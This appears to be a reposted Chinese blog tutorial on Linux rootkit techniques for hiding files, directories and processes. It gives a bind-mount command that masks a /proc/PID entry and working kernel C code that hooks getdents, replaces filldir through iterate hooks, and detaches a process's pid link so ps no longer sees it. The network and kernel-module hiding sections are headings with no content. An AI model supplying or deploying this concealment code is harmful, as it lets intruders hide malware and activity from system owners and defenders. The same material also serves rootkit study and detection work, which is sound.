ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

Linux Rootkit技术

2022-09-02 15:30:22  阅读:181  来源: 互联网

标签:reclen struct getdents 技术 Rootkit user Linux dirent buf


一、介绍

 Rootkit这一概念最早出现于上个世纪九十年代初期,CERT Coordination Center(CERT/CC)于1994年在CA-1994-01这篇安全咨询报告中使用了Rootkit这个词汇。在这之后Rootkit技术发展迅速,这种快速发展的态势在2000年达到了顶峰。2000年后,Rootkit技术的发展也进入了低潮期,但是对于Rootkit技术的研究却并未停滞。在APT攻击日益流行的趋势下,Rootkit攻击和检测技术也同样会迎来新的发展高潮。

简而言之,Rootkit是一种隐藏程序的技术方法。

二、用户态rootkit

1.文件隐藏

先说一种简单的方法:将文件名命名为"."开头的名字,这样该文件为隐藏文件。

我们可以通过LD_PRELOAD环境变量来劫持libc库,实现hook readdir函数,进而隐藏目标文件。获取目录信息是通过readdir函数。

2.进程隐藏

/proc是一个伪文件系统,只存在于内核内存空间中,并不占用外存空间。/proc以文件系统的方式为用户态进程访问内核数据提供接口。

在/proc目录中,每一个进程都有一个相应的文件夹,以PID命名,里面有进程运行时的各种信息。

ps和top等命令都是基于/proc下的文件夹做查询并输出结果。

思路一:挂载其他目录代替PID目录

我们通过创建一个新目录,并将该目录挂载到目标/proc/PID目录下,这样/proc/PID目录下原本的内容就会被隐藏。原因是被挂载的目录会与挂载目录的内容一致,而被挂载目录的原本内容会被掩盖,最好真正生效的是安装的新文件系统的目录树。此外,绑定挂载不会影响文件系统上存储的内容,它是实时系统的属性。

使用命令如下:

mkdir test
mount -o bind test /proc/407645

 我们可以通过查看/proc/$$/mountinfo文件来检查是否通过该方法隐藏进程

cat /proc/$$/mountinfo

思路二:hook readdir函数 

方法同上面的文件隐藏。

 

三、内核态rootkit

1.文件或目录隐藏

对于目录的遍历主要是通过getdents或者getdents64函数实现的(比如ls命令查看目录下的内容),所以对目标文件或目录进行隐藏的方法之一就是hook该函数,设置过滤。

sys_getdents=(void *)sysCallTable[__NR_getdents];

getdents函数的定义如下:

SYSCALL_DEFINE3(getdents, unsigned int, fd,
        struct linux_dirent __user *, dirent, unsigned int, count)
{
    struct fd f;
    struct getdents_callback buf = {
        .ctx.actor = filldir,
        .count = count,
        .current_dir = dirent
    };
    int error;

    if (!access_ok(dirent, count))
        return -EFAULT;

    f = fdget_pos(fd);
    if (!f.file)
        return -EBADF;

    error = iterate_dir(f.file, &buf.ctx);
    if (error >= 0)
        error = buf.error;
    if (buf.prev_reclen) {
        struct linux_dirent __user * lastdirent;
        lastdirent = (void __user *)buf.current_dir - buf.prev_reclen;

        if (put_user(buf.ctx.pos, &lastdirent->d_off))
            error = -EFAULT;
        else
            error = count - buf.count;
    }
    fdput_pos(f);
    return error;
}

 

思路一:修改返回的dirent项

getents函数的实现在fs/readdir.c文件中,该函数主要是根据inode上的信息填写dirent结构体,再返回给用户。

也就是说,getents函数将获知的目录信息存储到成员变量dirent中,它是一个指针,因为对应的内存空间存储的可能是一组连续的linux_dirent结构体。其中,d_reclen变量为该结构体大小,通过它我们实现偏移,遍历每一个结构体的内容。getents函数的返回值为这个连续空间的大小。

struct linux_dirent64 {
    u64        d_ino;
    s64        d_off;
    unsigned short    d_reclen;
    unsigned char    d_type;
    char        d_name[];
};

 

我们可以通过修改目标文件所在的linux_dirent项的内容,或者跳过该项来实现文件隐藏。这里,我们选择修改上一项的d_reclen跳过目标项来实现文件隐藏。

代码如下:

long fake_sys_getdents (unsigned int fd,struct linux_dirent __user *dirp, unsigned int count,long ret){
    unsigned long off = 0;
    struct linux_dirent *dir, *kdir, *prev = NULL;

    if (ret <= 0)
        return ret;

    kdir = kzalloc(ret, GFP_KERNEL);
    if (kdir == NULL)
        return ret;

    if (copy_from_user(kdir, dirp, ret))//从用户空间拷贝到内核空间
    {
        kfree(kdir);
        return ret;
    }

    while (off < ret)
    {
        dir = (void *)kdir + off;
        if (strcmp((char *)dir->d_name, "目标文件名") == 0)
        {
            if (dir == kdir)
            {
                ret -= dir->d_reclen;
                memmove(dir, (void *)dir + dir->d_reclen, ret);
                continue;
            }
            prev->d_reclen += dir->d_reclen;
        }
        else
        {
            prev = dir;
        }
        off += dir->d_reclen;
    }
    if (copy_to_user(dirp, kdir, ret))
    {
        kfree(kdir);
        return ret;
    }
    kfree(kdir);
    return ret;
}

我们hook系统调用getdents,替换上我们的getdents函数,实现如下。

asmlinkage long hook_getdents(unsigned int fd,struct linux_dirent __user *dirp, unsigned int count){
    //printk(KERN_INFO"hook getdents!!");
    if(fileName->next==NULL){
        return real_sys_getdents(fd,dirp,count);
    }
    int ret = real_sys_getdents(fd,dirp,count);
    return fake_sys_getdents(fd,dirp,count,ret);
}

 

思路二:替换函数

我们通过逆向系统调用getdents,发现每一个目录项(文件信息或目录信息)最后都是通过.ctx.actor中设置的回调函数filldir填写的,该函数负责将inode中的文件信息填写到dirent中。调用链为:getdents -> iterate_dir -> iterate/iterate_share -> .ctx.actor中设置的回调函数filldir。其中,如果iterate_share函数指针不为空,则调用该指针,否则调用iterate函数指针的函数处理。

因此,我们通过hook iterate函数和iterate_share函数,然后在其中将.ctx.actor的内容替换为我们的fake_filldir函数地址,而fake_filldir函数中当发现填写到目标文件时进行跳过,从而实现文件隐藏。

filldir函数实现如下:

static int filldir(struct dir_context *ctx, const char *name, int namlen,
           loff_t offset, u64 ino, unsigned int d_type)
{
    struct linux_dirent __user *dirent, *prev;
    struct getdents_callback *buf =
        container_of(ctx, struct getdents_callback, ctx);
    unsigned long d_ino;
    int reclen = ALIGN(offsetof(struct linux_dirent, d_name) + namlen + 2,
        sizeof(long));
    int prev_reclen;

    buf->error = verify_dirent_name(name, namlen);
    if (unlikely(buf->error))
        return buf->error;
    buf->error = -EINVAL;    /* only used if we fail.. */
    if (reclen > buf->count)
        return -EINVAL;
    d_ino = ino;
    if (sizeof(d_ino) < sizeof(ino) && d_ino != ino) {
        buf->error = -EOVERFLOW;
        return -EOVERFLOW;
    }
    prev_reclen = buf->prev_reclen;
    if (prev_reclen && signal_pending(current))
        return -EINTR;
    dirent = buf->current_dir;
    prev = (void __user *) dirent - prev_reclen;
    if (!user_access_begin(prev, reclen + prev_reclen))
        goto efault;

    /* This might be 'dirent->d_off', but if so it will get overwritten */
    unsafe_put_user(offset, &prev->d_off, efault_end);
    unsafe_put_user(d_ino, &dirent->d_ino, efault_end);
    unsafe_put_user(reclen, &dirent->d_reclen, efault_end);
    unsafe_put_user(d_type, (char __user *) dirent + reclen - 1, efault_end);
    unsafe_copy_dirent_name(dirent->d_name, name, namlen, efault_end);
    user_access_end();

    buf->current_dir = (void __user *)dirent + reclen;
    buf->prev_reclen = reclen;
    buf->count -= reclen;
    return 0;
efault_end:
    user_access_end();
efault:
    buf->error = -EFAULT;
    return -EFAULT;
}

而我们的实现代码如下:

int fake_filldir(struct dir_context *ctx, const char *name, int namlen,              loff_t offset, u64 ino, unsigned d_type) {
    if(strcmp(name, "目标文件名") == 0){         return 0;     }     return real_filldir(ctx, name, namlen, offset, ino, d_type); }
int fake_iterate(struct file *filp, struct dir_context *ctx) {     real_filldir = ctx->actor;
    *(filldir_t *)&ctx->actor = fake_filldir;     return real_iterate(filp, ctx); }
asmlinkage long hook_getdents2(unsigned int fd,struct linux_dirent __user *dirp, unsigned int count){     //printk(KERN_INFO"hook getdents!!");     if(fileName->next==NULL){         return real_sys_getdents(fd,dirp,count);     }     struct fd f = fdget_pos(fd);     struct file* pfile = f.file;     if( pfile->f_op->iterate_shared != NULL )     {         real_iterate = pfile->f_op->iterate_shared;         pfile->f_op->iterate_shared = fake_iterate;     }     else     {         real_iterate = pfile->f_op->iterate;         pfile->f_op->iterate = fake_iterate;     }
    return real_sys_getdents(fd,dirp,count); }

 

2.进程隐藏

 思路一:隐藏/proc/PID目录

用户态的进程都是通过访问proc文件系统中的进程对应的PID目录下的内容来获取目标进程信息,如ps命令就是如此。下图为"strace ps"的部分执行结果。

 所以,我们可以通过隐藏/proc/PID目录就可以实现进程隐藏。

 思路二:摘掉pid链节点

在介绍该思路前,不得不提摘链隐藏的思路。该思路会对现在版本的内核造成许多隐患,不建议轻易使用。CPU调度进程离不开task_struct,如果在CPU调度时找不到该进程,会导致崩溃。并且摘链是销毁进程的一步,进程描述符task_struct没了,但是分配的资源还没有释放掉,这也会造成隐患。我们的目的是隐藏进程,而不是干掉进程。

关于task_struct结构体的重要成员介绍:

  • 1.thread_info:进程执行的硬件信息
  • 2.state:进程运行状态信息
-1 --- no running
1 ---- running
8 ---- traced
  • 3.flag:反应进程的状态信息,用于内核识别(重要)
0x40 --- forked but not exec
0x100 ---- super-user privilege
0x400 ---- killed by a signal
0x40000 --- I am a kswapd
0x200000 --- kernel thread
  • 4.*real_parent:指向当前父进程。如果原来父进程销毁,则父进程为init进程。与*parent相同。
  • 5.(list_head)children:子进程链表
  • 6.(list_head)sibling:兄弟进程链表(父进程的子进程链表)
  • 7.(list_head)tasks:用于描述哈希桶中的节点位置
  • 8.(task_struct*)group_leader:子线程组
  • 9.(int)ptrace:ptrace标志位
0 --- 表示不需要被ptrace
1 --- 表示在被ptrace,PT_PTRACED
2 --- 表示PT_DTRACE

 

 

 

实现代码如下:

#include <linux/pid_namespace.h>
void hideProcess(int pid){
    struct pid *hiden_pid = NULL;

    hiden_pid = find_vpid(pid);
    hiden_pid->tasks[PIDTYPE_PID].first=NULL;
}

 

3.网络隐藏

用户态的进程可以通过读取/proc/net/tcp文件来获取当前的tcp连接信息,而我们需要隐藏其中的某一项。 

 

 

4.内核模块隐藏

 

 

 

四、参考

https://github.com/TangentHuang/ucas-rootkit

https://github.com/g0dA/linuxStack/blob/master/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%E6%8A%80%E6%9C%AF%E7%9A%84%E6%94%BB%E4%B8%8E%E9%98%B2-%E6%94%BB%E7%AF%87.md

标签:reclen,struct,getdents,技术,Rootkit,user,Linux,dirent,buf
来源: https://www.cnblogs.com/glodears/p/16488553.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有